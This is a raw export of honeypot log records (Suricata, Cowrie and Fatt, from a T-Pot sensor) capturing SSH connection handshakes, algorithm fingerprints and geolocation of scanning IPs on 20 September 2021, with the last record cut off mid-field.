37054	221.181.185.140	109.199.241.180	Suricata	2021-09-20 15:18:49.217524+03	2021-09-20 15:30:03.140407+03	{"_id": "sQYlA3wBvYTbRNuEBWYJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:48.566314+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.140", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1502748862882858, "payload": "AAADVAUUW149tlBeqt+4mac7NBUXygAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAOkAGMQQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35762, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:49.217524Z", "@timestamp": "2021-09-20T12:18:49.217Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..[^=.P^.....;4.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.................A"}}	1	\N	\N	alert	known attacker	CN
37055	221.181.185.140	109.199.241.180	Cowrie	2021-09-20 15:18:50.59967+03	2021-09-20 15:30:03.142407+03	{"_id": "sgYlA3wBvYTbRNuEB2bq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.140", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "3e671765aea4", "@version": "1", "duration": 1.7059483528137207, "timestamp": "2021-09-20T12:18:50.599670Z", "@timestamp": "2021-09-20T12:18:50.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37056	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:52.160258+03	2021-09-20 15:30:03.143407+03	{"_id": "ugYlA3wBvYTbRNuEDmYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46319, "timestamp": "2021-09-20T12:18:52.160258", "@timestamp": "2021-09-20T12:18:52.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37057	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:18:52.159438+03	2021-09-20 15:30:03.144408+03	{"_id": "wwYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b72b3c96e3b1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:52.159438Z", "@timestamp": "2021-09-20T12:18:52.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BR
37058	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:18:52.386883+03	2021-09-20 15:30:03.146407+03	{"_id": "yAYlA3wBvYTbRNuEEGbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 299256077094591, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58172, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.386883Z", "@timestamp": "2021-09-20T12:18:52.386Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
37059	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:18:52.386984+03	2021-09-20 15:30:03.147406+03	{"_id": "yQYlA3wBvYTbRNuEEWa4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 58172, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.386984", "@timestamp": "2021-09-20T12:18:52.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
37060	221.181.185.140	109.199.241.180	Cowrie	2021-09-20 15:18:48.891232+03	2021-09-20 15:30:03.148407+03	{"_id": "rQYlA3wBvYTbRNuEBGYB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.140", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 221.181.185.140:35762 (192.168.176.2:22) [session: 3e671765aea4]", "session": "3e671765aea4", "@version": "1", "protocol": "ssh", "src_port": 35762, "dest_port": 22, "timestamp": "2021-09-20T12:18:48.891232Z", "@timestamp": "2021-09-20T12:18:48.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37061	221.181.185.140	109.199.241.180	Cowrie	2021-09-20 15:18:49.218153+03	2021-09-20 15:30:03.150406+03	{"_id": "rwYlA3wBvYTbRNuEBGYB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "221.181.185.140", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "3e671765aea4", "@version": "1", "timestamp": "2021-09-20T12:18:49.218153Z", "@timestamp": "2021-09-20T12:18:49.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37062	221.181.185.140	109.199.241.180	Suricata	2021-09-20 15:18:49.217439+03	2021-09-20 15:30:03.151407+03	{"_id": "sAYlA3wBvYTbRNuEBWYJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.140", "dest_ip": "192.168.20.116", "flow_id": 1502748862882858, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35762, "dest_port": 22, "timestamp": "2021-09-20T12:18:49.217439Z", "@timestamp": "2021-09-20T12:18:49.217Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37063	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:52.326239+03	2021-09-20 15:30:03.153409+03	{"_id": "vwYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:58172 (192.168.176.2:22) [session: e4352168ab0e]", "session": "e4352168ab0e", "@version": "1", "protocol": "ssh", "src_port": 58172, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.326239Z", "@timestamp": "2021-09-20T12:18:52.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
37064	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:52.329273+03	2021-09-20 15:30:03.155407+03	{"_id": "wAYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "e4352168ab0e", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:18:52.329273Z", "@timestamp": "2021-09-20T12:18:52.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
37065	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:52.387499+03	2021-09-20 15:30:03.156407+03	{"_id": "wgYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "e4352168ab0e", "@version": "1", "timestamp": "2021-09-20T12:18:52.387499Z", "@timestamp": "2021-09-20T12:18:52.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
37066	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:18:52.393175+03	2021-09-20 15:30:03.157407+03	{"_id": "xwYlA3wBvYTbRNuEEGbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:51.921445+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1276124913667941, "payload": "AAADzAYUoFlj3I1J3eJNAJ3K3uKEqgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46319, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:52.393175Z", "@timestamp": "2021-09-20T12:18:52.393Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 